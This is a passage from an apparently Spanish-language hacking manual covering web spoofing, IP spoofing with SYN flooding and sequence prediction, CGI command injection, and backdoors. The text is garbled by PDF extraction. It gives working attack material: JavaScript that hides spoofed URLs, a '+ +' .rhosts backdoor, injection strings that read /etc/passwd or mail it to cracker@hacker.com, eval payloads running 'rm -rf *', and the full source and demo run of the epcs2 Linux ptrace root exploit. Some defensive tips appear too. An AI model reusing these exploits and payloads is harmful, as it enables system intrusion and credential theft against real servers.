C.3 COMO ATACA? La clave es que el atacante se situ en medio de la conexin entre la victima y el servidor. e o a) Rescribe la URL: Lo primero que se hace es grabar todo el website dentro del servidor del atacante para que as se apunte al servidor de la victima, en vez de la verdadera. Otro mtodo ser instalar un software que e a acte como ltro. Por ejemplo, si la URL del atacante es http://www.atacante.org y la del servidor u verdadero es http://www.servidor.com, quedar http://www.atacante.org/http://www.servidor.com a: 1) El navegador de la victima reclama una pgina de www.atacante.org a 2) www.atacante.org se la reclama a www.servidor.com. 3) www.servidor.com se la entrega a www.atacante.org 4) www.atacante.org la rescribe o modica 5)www.atacante.org le entrega la versin de la pagina que ha hecho al navegador de la victima. o b) Que pasa con los Formularios?: Si la victima llena un formulario de una pagina Web falsa, el atacante tambin puede leer los datos, e ya que van encerrados dentro de los protocolos Web bsicos. Es decir, que si cualquier URL puede ser a spoofeada, los formularios tambin. e c) Las Conexiones Seguras no ayudan: Una propiedad angustiosa de este ataque es que tambin funciona cuando la navegador de la vice tima solicita una pagina v conexin segura. Si la victima accede a un Web seguro (usando Secure a o Sockets Layer, SSL) en un Web falso, todo sigue ocurriendo con normalidad, la pagina ser entregada, a y el indicador de conexin segura, se encender (generalmente suele ser un candado). o a El navegador de la victima dice que hay una conexin segura, porque tiene una, pero desgraciadao mente esa conexin es con www.atacante.org, y no con el sitio que piensa la victima. El indicador de o conexin segura solo le da a la victima una falsa sensacin de seguridad. o o C.4 EMPEZANDO EL ATAQUE El atacante debe, de alguna manera colocar un cebo a la victima, para que visite la Web falsa del atacante. Hay varias maneras para hacer esto, poner un link en cualquier pgina que visite la victima, a engaar a los motores de bsqueda, o incluso, si se sabe su direccin de mail, enviarle uno para que n u o visite la pagina. C.5 COMPLETANDO LA ILUSION Este ataque es bastante efectivo, pero no perfecto. Todav hay detalles que pueden hacer sospechar a a la victima que el ataque ya esta en marcha. En ultima instancia, el atacante puede llegar a eliminar cualquier rastro del ataque.

20

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

a) La L nea de Estado: Es una simple l nea de texto abajo del navegador que informa de varios mensajes, como a que servidor trata de localizar, si se conecta, o el tiempo que falta todav para recibir la totalidad de la pgina. a a Este ataque deja dos tipos de evidencias en la barra de estado. La primera, cuando se pasa el Mouse por encima de un enlace, informa la URL a la que apunta. As pues, la victima podr darse cuenta a de que la URL se ha modicado. La segunda es que por un breve instante de tiempo, se informa cual es la direccin del servidor que esta intentando visitar. La victima podr darse cuenta que el servidor o a es www.atacante.org, y no el servidor verdadero.

El atacante puede tapar estas huellas aadiendo cdigo JavaScript en cada pagina rescrita para oculn o tar el texto en la l nea de estado o hacer que cuando haya un enlace a http://www.atacante.org/http://www.servid en la l nea de estado salga http://www.servidor.com, que se har de la manera siguiente: a a href=http://www.atacante.org/http://www.servidor.com OnMouseOver=window.status=http://www.servidor.com; return true;http://www.servidor.com/a Este detalle hace ms convincente el ataque. a b) La L nea de Navegacin: o Es la encargada de informar qu URL se esta visitando. As pues, el ataque causa que las paginas e rescritas en www.atacante.org salgan en la l nea de navegacin. Este detalle puede hacer sospechar a o la victima que el ataque est en marcha. a Esta huella puede ser ocultada ayudndose de un poco de JavaScript, de esta manera: a

Function AbreVentana() { open(http://www.atacante.org/http://www.servidor.com/,DisplayWindow,toolbar=yes,directories=no,me status=yes); } Tambin se puede hacer un programa que reemplace a la l e nea de navegacin verdadera, que parezca o que sea la correcta, colocndola en el mismo sitio. Si esta bien hecho se puede hacer que escriba la URL a que espera ver la victima, incluso que se puedan producir entradas por teclado, para que la victima no se de cuenta. c) Ver Documento Fuente: Los navegadores mas populares ofrecen la posibilidad de examinar el cdigo fuente html de la pago ina actual. Un usuario podr buscar URLs rescritas, mirando su cdigo fuente, para darse cuenta del a o ataque. Este ataque tambin puede prevenir esto ayudndose de un programa en JavaScript que oculte la e a barra de mens, o que haga una barra idntica, con la salvedad que si la victima mira el cdigo fuente, u e o en vez de ensear el que esta viendo, apunte a la direccin verdadera. n o d) Ver Informacin del Documento: o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

21

Esta huella se puede eliminar siguiendo las indicaciones arriba mencionadas. C.6 SOLUCIONES Web Spoong es un ataque peligroso, y dif cilmente detectable, que hoy por hoy se puede llevar a cabo en Internet. Afortunadamente hay algunas medidas preventivas que se pueden practicar: a) Soluciones a corto plazo: 1.- Desactivar la opcin de JavaScript en el navegador. o 2.- Asegurarse en todo momento que la barra de navegacin est activa. o a 3.- ESTA ES LA MAS IMPORTANTE: Poner atencin a las URL que se ensean en la barra de o n estado, asegurndose que siempre apuntan al sitio que se quiere entrar. a Hoy en d tanto JavaScript, como Active-X, como Java tienden a facilitar las tcnicas de spoong, a e as que recomendamos desactivarlas de su navegador, al menos en los momentos que vaya a transferir informacin critica como login, password, nmeros de tarjeta de crdito o cuenta bancaria. o u e b) Soluciones a largo plazo: Todav no se ha descubierto ningn mtodo para evitar este ataque. a u e D. IP SPOOFING Sustituir una IP. El atacante logra identicarse con una IP que no es la suya, con lo que a ojos del atacado, el agresor es una tercera persona ,que nada tiene que ver en el asunto, en vez de ser el atacante real. D.1 EL ATAQUE Conociendo ya como trabaja el protocolo tcp/ip veamos como se realiza un ataque, el ataque se compone de varios pasos que ya veremos pero antes de empezar numerare algunas cosas que se necesitan para el desarrollo de esta tcnica: e - cerebro, mente, o cualquier otro dispositivo pensante - host objetivo - trusted host - host atacante (con acceso de root) - software de IP-spoong Teniendo esto especialmente la PRIMERA podemos empezar. Generalmente el ataque se hace desde la cuenta root del host atacante contra la cuenta de root del objetivo. Si el atacante se va a tomar todas estas molestias, ser irnico no aspirar como m a o nimo a

22

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

ser root. (Dado que se necesita ser root para ejecutar el ataque, esto no deber ser problema). a D.2 IP-SPOOFING ES UN ATAQUE CIEGO Un factor que muchas veces no se analiza pero que es cr tico en el IP-spoong es el hecho de que el ataque es ciego. El atacante va a estar suplantando la identidad de un trusted-host para poder saltarse la seguridad del host objetivo. El trusted-host se desactiva empleando el mtodo explicado abajo. Lo e que el host objetivo cree es que est manteniendo una conversacin con otro colega. En realidad, el ata o acante est sentado en alguna oscura esquina de Internet, falsicando paquetes desde este trusted-host a mientras esta envuelto en una batalla de Dos (denial of service). Los data gramas IP enviados con la direccin IP falsicada alcanzan su objetivo sin problemas (recordemos que IP es un protocolo sin o conexin , cada data grama es enviado sin tener en cuenta lo que pase con el otro extremo) pero los o data gramas que el host objetivo env de vuelta (destinados al trusted-host) se pierden. El atacante a nunca los ve. Los routers que intervienen conocen dnde se supone que tienen que ir los data gramas. o Se supone que van hacia el trsuted-host. En lo que respecta al nivel de red, desde aqu es desde dnde o fueron originados y ah es donde deber ir las contestaciones. Por supuesto una vez que los data an gramas son enrutados hacia all y la informacin es desmultiplexada y llega al TCP, se desecha (el o TCP del trusted-host no puede responder ). Por lo tanto el atacante tiene que ser inteligente y saber qu fue enviado, y saber qu respuesta est buscando el servidor. El atacante no puede ver lo que el e e a host objetivo le env pero puede predecir lo que le enviar; eso unido al conocimiento con certeza de a, a lo que enviar, le permite al atacante librarse de esta ceguera. Aunque no es nada fcil. a a D.3 ENCONTRANDO UN Trusted-Hosts Despus de elegir un objetivo el atacante debe averiguar los posibles trusted-hosts disponibles (por el e bien de todo esto, daremos por hecho que el host objetivo SI conf en alguien. Si no es as el ataque a , se acabar aqu Averiguar en quin conf un host puede no ser fcil. Un showmount -e puede a ). e a a mostrarte a dnde se exportan los archivos del sistema, y rcpinfo tambin puede ofrecerte informacin o e o interesante. Si se tiene abundante informacin sobre el host, no deber ser dif o a cil. Si todo esto falla, probar direcciones IP vecinas en un esfuerzo de fuerza bruta puede ser una opcin viable. o D.4 DESACTIVACION DEL Trusted-Host EMPLEANDO Synooding Una vez que hemos encontrado el trusted-host, debemos desactivarlo. Dado que el atacante va a hacerse pasar por l, debe asegurarse de que este host no reciba ningn trco de la red y nos dae e u a n las cosas. Existen muchas maneras para hacer esto, pero emplearemos el SYNFLOODING explicado en el capitulo de ataques DOS (les dije que iba a servir ). D.5 MUESTREO DE LOS NUMEROS SECUENCIALES Y PREDICCION Ahora el atacante necesita hacerse una idea de dnde se encuentra el TCP del host objetivo de o entre el espacio de la secuencia numrica de 32-bits. El atacante conecta a un puerto TCP del host e objetivo (SMTP es una buena eleccin) justo antes de lanzar el ataque y completa el saludo de o 3 direcciones con dicho host. El proceso es exactamente como en la g(1), excepto que el atacante guardar el valor del ISN enviado por el host objetivo. Muchas veces, este proceso se repite varias a veces y el ultimo ISN enviado se almacena. El atacante necesita saber cul es el RTT (round-trip time, a tiempo de ida/vuelta) desde el objetivo a su host. (El proceso puede repetirse varias veces, y se calcula una media de todos los RTTs hallados). El RTT es necesario para poder predecir con seguridad el siguiente ISN. El atacante tiene un punto de referencia (el ultimo ISN enviado) y conoce tambin cmo e o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

23

funciona el incremento de los nmeros secunciales (128.000/segundo y 64.000 por cada connect) y u e ahora tiene una idea bastante aproximada de cunto tardar un data grama IP en viajar por Internet a a hasta alcanzar al objetivo (aproximadamente la mitad del RTT, dado que la mayor de las veces las a rutas son simtricas). Despus de que el atacante haya conseguido esta informacin, inmediatamente e e o se procede a la siguiente fase del ataque (si otra conexin TCP llegase a algn puerto del objetivo o u antes de que el atacante haya podido continuar con el ataque, el ISN real tendr una diferencia de a 64.000 con el ISN previsto). Cuando el segmento spoofeado recorre su camino hasta el objetivo, pueden pasar varias cosas dependiendo de la exactitud de la prediccin del atacante: o - Si el nmero secuencial est EXACTAMENTE donde el TCP receptor espera que est, los datos u a e que llegan sern colocados en la siguiente posicin disponible del buer receptor. a o - Si el nmero secuencial es MENOR que el valor esperado el byte de datos se considera como una u repeticin de la transmisin, y es desechado. o o - Si el nmero secuencial es MAYOR que el valor esperado pero todav dentro de los l u a mites de la capacidad del buer, el byte de datos se considera que es un byte futuro, y es controlado por el TCP, pendiente de la llegada de los bytes que faltan antes que l. Si llega un segmento con un nmero e u secuencial MAYOR que el valor esperado y que NO est dentro de los l a mites de la capacidad del buer el segmento es excluido, y TCP enviar un segmento de respuesta con el nmero secuencial esperado. a u D.6 ALTERACION Aqu es donde empieza verdaderamente el ataque:

24

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Fig. 5. completando el ataque ip spoong

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

25

El host atacante spoofea su direccin-IP para que sea la del trusted-host (el cual todav deber o a a estar sufriendo los efectos del ataque de D.O.S , denial of service) y env su peticin de conexin al a o o puerto 513 del host objetivo (1 paso). En (2 paso), el host objetivo responde a la peticin de conexin o o spoofeada con un SYN/ACK, que recorrer su camino hasta el trusted-host (el cual, si pudiera procesar a este segmento entrante, lo considerar un error, e inmediatamente env un RST al host objetivo). Si a a todo va de acuerdo con lo previsto, el SYN/ACK ser ignorado por el trusted host. Despus de (1), el a e atacante puede descansar un poco para darle tiempo al host objetivo para enviar el SYN/ACK (el atacante no puede ver este segmento). Entonces, en (3 paso) el atacante env un ACK al host objetivo a conteniendo el nmero secuencial previsto (ms uno, porque estamos ACKendolo). Si el atacante u a a acierta en su prediccin, el host objetivo aceptar el ACK. El host objetivo establece la conexin y la o a o transferencia de datos puede comenzar (4 paso). Generalmente, despus de establecer la conexin , el atacante insertar una backdoor en el sistema e o a que le permitir llevar a cabo nuevas intrusiones de una manera ms fcil. (Con un cat + + a a a .\sim/.rhosts suele bastar. Esta es una buena idea por varias razones: es rpido, permite accesos a ms simples, y no es interactivo. Recuerda, el atacante no puede ver el trco que proviene del host a a objetivo, por lo tanto todas las respuestas caern en el olvido). a D.7 POR QUE FUNCIONA? El IP-Spoong funciona porque los servicios de trust entre ordenadores (como los trusted-hosts) solamente basan su seguridad en autenticaciones de las direcciones de red. Dado que el IP es fcilmente a engaable, la falsicacin de direcciones no es dif n o cil. La parte ms complicada del ataque es la a prediccin de los nmeros secunciales, porque es ah donde las suposiciones y conjeturas entran en o u e escena. Reducir las dudas y las adivinanzas al m nimo es bsico para tener ms posibilidades de xito. a a e Incluso un sistema que utilice los TCP wrappers de Wietse Venema es vulnerable al ataque. Los TCP wrappers se basan en los hostnames o en direcciones-IP para las autenticaciones de los usuarios. D.8 MEDIDAS PREVENTIVAS -No Conar en Nadie Una sencilla solucin para prevenir este ataque es no utilizar la autenticacin basada en direcciones. o o Desactivar los comandos r*, borrar todos los archivos .rhosts y vaciar el archivo /etc/hosts.equiv. Esto forzar a todos los usuarios a emplear otras medidas de acceso remoto (telnet, ssh, skey, etc.) a -Filtrado de Paquetes Si tu host tiene una conexin directa a Internet, puedes utilizar tu router para ayudarte. Primero o asegurarse de que unicamente hosts de tu propia LAN interna pueden participar en relaciones de trust (ningn host interno debe ser trusted-host de otro sistema externo a la LAN, o viceversa). Entonces u simplemente ltra todo el trco desde fuera (desde Internet) que desea llegar hasta el interior (a tu a LAN). -Mtodos Criptogrcos e a UN mtodo obvio para evitar el IP-spoong es obligar a que todo el trco de la red sea encriptado e a y/o autenticado. Mientras se debaten otras posibles soluciones, puede establecerse sta como medida e estndar de seguridad. a -N mero Secuencial Inicial Aleatorio u

26

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Dado que los nmeros secunciales no son escogidos aleatoria mente (o incrementados aleatoria u e mente) el ataque funciona. Bellovin aporta un parche para TCP que implica una particin del espacio o dedicado al nmero secuencial. Cada conexin tendr su propio espacio separado de nmero secuenu o a u cial. Los nmeros secunciales ser incrementados como antes, sin embargo, no habr ninguna u e an a relacin obvia o apreciable entre la numeracin en estos espacios. Se sugiere la frmula siguiente: o o o ISN=M+F(localhost,localport,remotehost,remoteport) Donde M es el cronmetro de 4 microsegundos y F es un hash criptogrco. F no debe ser calculable o a desde el exterior o el atacante podr todav averiguar la secuencia numrica. Bellovin sugiere que a a e F sea un hash de el id de la conexin y un vector secreto (un nmero aleatorio, o un nmero de host o u u secreto relacionado combinado con el tiempo que lleva encendida la mquina). a VII. BUGS EN CGIs Common Gateway Interface (CGI) es una interfaz que permite la comunicacin entre programas o cliente y la informacin de un servidor que comprende el protocolo de transmisin de texto (HTTP). o o TCP/IP es el protocolo de comunicacin usado por el script CGI y el servidor durante las comunicao ciones. El puerto por defecto para las comunicaciones es el puerto 80 (privilegiado) pero otros puertos no privilegiados pueden ser especicados. Los scripts CGI pueden realizar procesos relativamente simples del lado del cliente. Un script CGI puede servir para dar formato a el lenguaje HTML, crear documentos HTML dinmicos y generar a imgenes gracas dinmicas. a a CGI tambin puede realizar entradas y salidas de informacin. CGI guarda la informacin en varie o o ables del sistema que son accesadas por medio del script. Los scripts CGI tambin pueden aceptar e parmetros en la l a nea de comando. Los scripts CGI operan en dos modos bsicos: a - En el primer modo, el script CGI hace un procesamiento de datos basado en la entrada (input) que se le indica. Un claro ejemplo es el procesamiento de informacin para corregir la sintaxis que o actualmente esta usando Hotmail. - El segundo modo es cuando el script CGI acta como conducto de informacin entre el cliente al u o servidor y de vuelta al cliente. Como ejemplo, un script CGI puede ser usado como el frente de una base de datos corriendo en el servidor. Los scripts CGI pueden ser escritos usando lenguajes compilados, lenguajes de programacin intero pretados o lenguajes de scripts (scripting). La unica ventaja que existe entre una u otra forma de crear scripts CGI es la velocidad de ejecucin. o El set de mtodos disponibles para los programas CGI estn denidas en las especicaciones HTTP e a 1.0. Los tres mtodos pertinentes a esta discusin son: e o El mtodo Get, el mtodo Post, y el mtodo Put, El mtodo Get consigue informacin del e e e e o cliente al servidor. El mtodo Post pregunta al servidor si acepta la informacin pasada del cliente e o como una especicacin del objetivo. El mtodo Put pregunta al servidor si acepta la informacin o e o como reemplazo del objetivo.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

27

A. Vulnerabilidades Las vulnerabilidades causadas por el uso de los scripts CGI no son debilidades de CGI, son errores en las especicaciones HTTP y en varios programas del sistema. CGI simplemente permite el acceso a esas debilidades. Hay otras maneras de explotar la seguridad de un sistema. Por ejemplo, las restricciones al acceso de archivos pueden ser explotadas usando FTP o telnet. CGI lo unico que hace es ofrecer mas oportunidades para explotar estas y otras fallas en la seguridad de un sistema. CGI permite la lectura de archivos, adquirir acceso shell y corromper archivos en las maquinas servidoras y sus hosts. B. Mtodos para ganar acceso pueden ser e Explotando los defaults del script, explotando debilidades en el ambiente del servidor, y explotando debilidades en otros programas y llamadas al sistema. La principal debilidad de los scripts es insuciente validacin de las entradas del usuario. o De acuerdo con las especicaciones de HTTP 1.0, los datos pasados a un script CGI deben ser codicados para que puedan trabajar en cualquier hardware o software. Los datos pasados a un script CGI usando el mtodo Get son incluidos al nal del Universal Resource Locator (URL). Esta informacin e o puede ser obtenida por los scripts CGI como una variable de ambiente llamada QUERY STRING. Los datos son pasados como tokens en la forma de variable = valor, con los tokens separados por &. Las & y otros caracteres alfanumricos deben ser codicados como valores e hexadecimales. Los caracteres hexadecimales son seguidos por un signo % en la URL. Es la responsabilidad del script CGI remover caracteres en la entrada del usuario. Los s mbolos como y , son delimitadores de HTML tags y son usualmente removidos con una simple operacin como la siguiente: o Ejemplo de un script con PERL -8# Procesar variables de entrada {$NAME, $VALUE) = split(/=/, $ ); # split up each variable=value pair $VALUE = s/\+/ /g; # Replace + with $VALUE = s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg; # Replace %xx characters with ASCII # Escape metacharacters $VALUE = s/([;\*\|&\$!#\(\)\[\]\{\}:])/\\$1/g;# remove unwanted special characters $MYDATA[$NAME} = $VALUE; # Assign the value to the associative array -8Este ejemplo remueve los caracteres especiales como el semi-colon que es interpretado por el shell como un separador de comandos. La inclusin de un semi-colon en la entrada permite la posibilidad o de ejecutar comandos adicionales en la entrada del usuario. El ejemplo anterior esta incompleto ya que no remueve la posibilidad de un carcter de nueva l a nea %0a, que puede ser usado para ejecutar otros comandos que no son parte del script. De esta forma,

28

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

podemos ejecutar otros comandos de los que el script nos permite. Por ejemplo, la siguiente URL pide una copia del archivo /etc/passwd del servidor: http://www.un-servidor.com.mx/cgi-bin/query?%0a/bin/cat%20/etc/passwd %0a es un enter %20 un espacio en blanco La parte principal de un programa CGI es un documento HTML llamado Form. Los forms incluyen el tag INPUT. Cada INPUT tiene una nombre llamado variable asociado con el. Esta es la variable que forma el lado izquierdo de lo que previamente se hab mencionado variable = valor. Los cona tenidos de las variables del Form forman el valor del token. Los scripts CGI deben realizar el ltrado de los contenidos del campo INPUT. Si los scripts CGI fallan al ltrar las entradas del usuario, una situacin como el previo ejemplo podr originarse. o a Otra tag HTML que en ocasiones se ve en las forms es SELECT. Este tag permite a un usuario del lado cliente elegir de unas opciones predeterminadas. La eleccin se vuelve la derecha del token variable = valor pasado al script CGI. Los scripts CGI o seguido fallan al validar la entrada de un campo SELECT asumiendo que el campo contendr datos a predeterminados. De nuevo, estos datos son pasados directamente al programa interpretador de lenguajes. Programas compilados que no realicen validacin de los caracteres pueden ser vulnerables. o Un script shell o PERL que invoque el programa de correo de UNIX puede ser vulnerable a un escape del shell. Mail acepta comandos en la siguiente forma !comando y forja un shell que ejecute el comando. Si el script CGI no ltra la secuencia !, el sistema es vulnerable. Los agujeros de sendmail pueden ser explotados de esta manera. De nuevo, la llave consiste en encontrar scripts que no ltren los caracteres de entrada. Si puedes encontrar un script CGI que contenga una llamada a UNIX system() con solo un argumento, entonces has encontrado una puerta al sistema. Cuando la funcin system() es invocada con o un solo argumento, el sistema forja un shell por separado para manejar la peticin. Cuando esto pasa, o es posible aadir datos a la entrada y generar resultados no esperados. Por ejemplo, un script PERL n que contenga lo siguiente: system(/usr/bin/sendmail -t %s %s, $mailto address $input le); esta diseado para enviar por correo una copia de $input le a la direccin especicada por la variable n o $mailto address. Si copiamos y modicamos la entrada para el form de la siguiente manera: INPUT TYPE=HIDDEN NAME=mailto address VALUE=direccion@servidor.com;mail cracker@hacker.com /etc/passwd podemos explotar al sistema y obtener el passwd del servidor por email. La funcin system() no es el unico comando que forja un nuevo shell. La funcin exec() con solo o o un argumento tambin hace lo mismo. Abrir un archivo y redireccionar el resultado tambin crea un e e shell separado. En PERL la funcin: o

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

29

open(FILE, | program name $ARGS); abrir FILE y pasara los resultados a program name que se ejecutara como un shell separado. a En PERL, el comando eval ejecuta cualquier argumento que sea pasado a el. Los scripts CGI que pasan la entrada del usuario a el comando eval pueden ser usados para ejecutar cualquier cosa que el usuario desee. Por ejemplo: $ = $VALUE; s//\\/g # Escape double quotes $RESULT = eval qq/$ /; # evaluate the correctly quoted input este script pasa los datos de $VALUE a eval esencialmente no modicados, excepto por asegurarse que las doble no confundan al interprete. Si $VALUE contiene rm -rf *, los resultados serian desastrosos. Copiar, modicar y reemplazar el archivo de librer cgi-lib permitir a los usuarios a ejecutar as a comandos o rutinas dentro del archivo de librer as. El ejemplo del comando eval permite la ejecucin de: o $ = chmod 666 \/etc\/passwd $RESULT = eval qq/$ /; este comando permitir escribir al passwd a todo el mundo. a C. Conclusin o El uso impropio de los scripts CGI permite a los usuarios un nmero ilimitado de debilidades del u sistema. Fallar al validar las entradas de un usuario, funciones de llamadas al sistema pobremente planeadas e insucientes restricciones a los archivos pueden ser explotadas a travs del mal uso de CGI. e VIII. BUGS Y EXPLOITS En este capitulo no hay mucho que decir ya que este tema es mas practico que terico. o Primero que todo los bugs o agujeros de seguridad son errores cometidos en la programacin ya sea o de un Sistema Operativo o en algn programa que all corra generalmente algn demonio. u u Estos errores por lo descuidan la seguridad de la memoria o de archivos permitiendo al atacante hacer modicaciones, borrar, descargar o subir archivos, entre otras cosas. Ahora la pregunta es como me aprovecho de estos bugs? La respuesta son las Exploits; una exploit es un programa por lo general echo en c, perl o shell code; cuyo n es aprovecharse de estos agujeros de seguridad.

30

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

Los exploits son usados frecuentemente por los hackers para lograr entrar en computadores y redes suplantando al root, aunque las exploits tambin son usadas para ataques de D.O.S. (de negacin de e o servicio). Veamos un ejemplo del uso de una exploit: Esta exploit fue creada el 9 de abril de 2001 y funciona para todas las distribuciones de linux el archivo se llama epcs2.c probado con xito en red hat 7.0, 6.2, kernel 2.2.14, 2.2.18, 2.2.18ow4. Esta e exploit se aprovecha de un bug que consiste en la existencia de una competencia race condition que permite que un usuario haga un ptrace() sobre un proceso SETUID. Ello permite analizar su memoria y modicar su cdigo o memoria para alterar su ejecucin. o o [Usuario@localhost pruebas]# gcc -o epcs2 epcs2.c [Usuario@localhost pruebas]# ls epcs2* epcs2.c [Usuario@localhost pruebas]# ./epcs2 bug exploited successfully. enjoy! sh-2.04# who ami root sh-2.04# Cdigo fuente: o /* * epcs2 (improved by lst [liquid@dqc.org]) * * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 * * originally by: * (c) 2001 Wojciech Purczynski / cliph / wp@elzabsoft.pl * * improved by: * lst [liquid@dqc.org] * * It should work even on openwall-patched kernels (I havent tested it). * * Compile it: * cc epcs.c -o epcs * Usage: * ./epcs [victim] * * It gives instant root shell with any of a suid binaries.

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

31

* * If it does not work, try use some methods to ensure that execve * would sleep while loading binary le into memory, * * i.e.: cat /usr/lib/* /dev/null 2&1 * * */ #include stdio.h #include fcntl.h #include sys/types.h #include signal.h #include linux/user.h #include sys/wait.h #include limits.h #include errno.h #include stdlib.h #dene CS SIGNAL SIGUSR1 #dene VICTIM /usr/bin/passwd #dene SHELL /bin/sh /* * modied simple shell code with some trickery (hand tweaks) */ char shellcode[]= \x90\x90\x90\x90\x90\x90\x90\x90\x90 \x31\xc0\x31\xdb\xb0\x17\xcd\x80 /* setuid(0) */ \x31\xc0\xb0\x2e\xcd\x80 \x31\xc0\x50\xeb\x17\x8b\x1c\x24 /* execve(SHELL) */ \x90\x90\x90\x89\xe1\x8d\x54\x24 /* lets be tricky */ \x04\xb0\x0b\xcd\x80\x31\xc0\x89 \xc3\x40\xcd\x80\xe8\xe4\x\x \x SHELL \x00\x00\x00 ; /* pad me */ volatile int cs detector=0; void cs sig handler(int sig) { cs detector=1; } void do victim(char * lename) { while (!cs detector) ; kill(getppid(), CS SIGNAL); execl(lename, lename, NULL); perror(execl); exit(-1); } int check execve(pid t victim, char * lename) { char path[PATH MAX+1]; char link[PATH MAX+1];

32

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

int res; snprintf(path, sizeof(path), /proc/%i/exe, (int)victim); if (readlink(path, link, sizeof(link)-1)0) { perror(readlink); return -1; } link[sizeof(link)-1]=\0; res=!strcmp(link, lename); if (res) fprintf(stderr, child slept outside of execve\n); return res; } int main(int argc, char * argv[]) { char * lename=VICTIM; pid t victim; int error, i; struct user regs struct regs; /* take our command args if you wanna play with other progs */ if (argc1) lename=argv[1]; signal(CS SIGNAL, cs sig handler); victim=fork(); if (victim0) { perror(fork: victim); exit(-1); } if (victim==0) do victim(lename); kill(victim, CS SIGNAL); while (!cs detector) ; if (ptrace(PTRACE ATTACH, victim)) { perror(ptrace: PTRACE ATTACH); goto exit; } if (check execve(victim, lename)) goto exit; (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE CONT, victim, 0, 0)) { perror(ptrace: PTRACE CONT); goto exit; } (void)waitpid(victim, NULL, WUNTRACED); if (ptrace(PTRACE GETREGS, victim, 0, &regs)) { perror(ptrace: PTRACE GETREGS); goto exit; } /* make sure that last null is in there */ for (i=0; i=strlen(shellcode); i+=4) { if (ptrace(PTRACE POKETEXT, victim, regs.eip+i, *(int*)(shellcode+i))) { perror(ptrace: PTRACE POKETEXT);

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECURITYTEAM

33

goto exit; } } if (ptrace(PTRACE SETREGS, victim, 0, &regs)) { perror(ptrace: PTRACE SETREGS); goto exit; } fprintf(stderr, bug exploited successfully.\nenjoy!\n); if (ptrace(PTRACE DETACH, victim, 0, 0)) { perror(ptrace: PTRACE DETACH); goto exit; } (void)waitpid(victim, NULL, 0); return 0; exit: fprintf(stderr, d0h! error!\n); kill(victim, SIGKILL); return -1; } Asi es como se utilizar esta exploit vemos que es muy sencillo usar una exploit creada por otro a pero la verdadera satisfaccin esta en buscar personalmente los bugs y programar las exploit, para o esto se necesita un buen conocimiento sobre programacin en c o perl (preferiblemente c o ambos) , o lenguaje ensamblador y algo de sistemas operativos. Mientras tanto pueden buscar exploits hechas, en la red hay millones de estos programas. Algunas direcciones en Internet son: www.rootshell.org www.multimania.com/mainsecurityteam IX. BACKDOORS Las puertas traseras (backdoors) son programas que permiten acceso prcticamente ilimitado a un a equipo de forma remota. Los caballos de Troya estn incluidos en este genero, personalmente NO ESTOY DE ACUERDO a con el uso de estos EXEPTUANDO que se usen para conseguir maquinas que nos sirvan de escudo para iniciar un ataque, el uso de caballos de Troya con nes poco poticos (instalarlo para joder a e otro) es un acto Lamer, claro que no podemos olvidar que estos animalitos son de ayuda a la hora de monitorear redes. Las puertas traseras son usadas por el hacker despus de haber obtenido acceso a un sistema; y cone stan de un programa que le de fcil autenticacin como root en el sistema al cual entro para evitar a o volver a repetir todo el proceso que tuvo que realizar para hacerse root del sistema, por lo general se trata de un programa sencillo hecho en c, que se aprovecha de los permisos del sistema es decir es un programa que puede ser ejecutado por un usuario normal pero tiene los permisos del root, as cuando

34

MAIN SECURITY TEAM WWW.MULTIMANIA.COM/MAINSECUIRTYTEAM

un usuario normal lo ejecute se convierte en root es algo as como el comando su en linux. Bien ese es el uso debido de una Backdoor, sin embargo explicare un poco los caballos de Troya para que puedas evitar estos animalitos indeseados. El problema, para quien quiere usar este ataque, es que debe convencer a la victima de que instale el servidor. Por eso, si aparece un desconocido ofrecindole algn programa maravilloso y tentador, e u no le crea de inmediato. Lo que estn probablemente a punto de darle es un troyano, un servidor que a le proporcionar a algn intruso acceso total a su computadora. Con todo el riesgo que esto implica, a u hay una forma simple y totalmente segura de evitarlo: no acepte archivos ni mucho menos ejecute programas que le hayan mandado sobre todo si son de procedencia dudosa. Los programas que se clasican como backdoors o puertas traseras son utiler de adminisas tracin remota de una red y permiten controlar las computadoras conectadas a sta. El hecho que o e se les clasique como software malvolo en algunos casos, es que cuando corren, se instalan en el sise tema sin necesidad de la intervencin del usuario y una vez instalados, no se pueden visualizar estas o aplicaciones en la lista de tareas en la mayor de los casos. Consecuentemente un backdoor puede a supervisar casi todo proceso en las computadoras afectadas, desinstalar programas, descargar virus en la PC remota, borrar informacin, entre otras muchas cosas ms. o a Dada la complejidad de este tema, lo importante nalmente es comprender que si no se toman ciertas medidas m nimas, la informacin sensible que se encuentre en cualquier equipo, con el simple hecho o de que tenga acceso a la red de redes (Internet) es suciente para que pueda estar expuesto a ataques de diversa ndole. Concluyo recomendando ciertas medidas bsicas para estar a salvo de las puertas traseras y el delia cado riesgo para la seguridad que estas representan. A saber: 1.- Es recomendable asegurarnos de que cada cosa que ejecutamos est bajo nuestro control. Una e buena gu para ello es el sentido comn (el menos comn de los sentidos). a u u 2.- Procure no ejecutar programas de los que no sepa su procedencia, tanto en anexos de correo, ICQ, Messenger y descargas de Internet (ya sean v Web o FTP). a 3.- La informacin nos protege. Es recomendable enterarse un poco de las noticias de virus y proo gramas dainos relacionados, visitando por lo menos las pginas de las distintas empresas antivirus o n a suscribindose a algunos boletines. e 4.- Es necesario instalar un antivirus y mantenerlo actualizado. En la actualidad se protege al usuario no slo contra virus, sino tambin contra 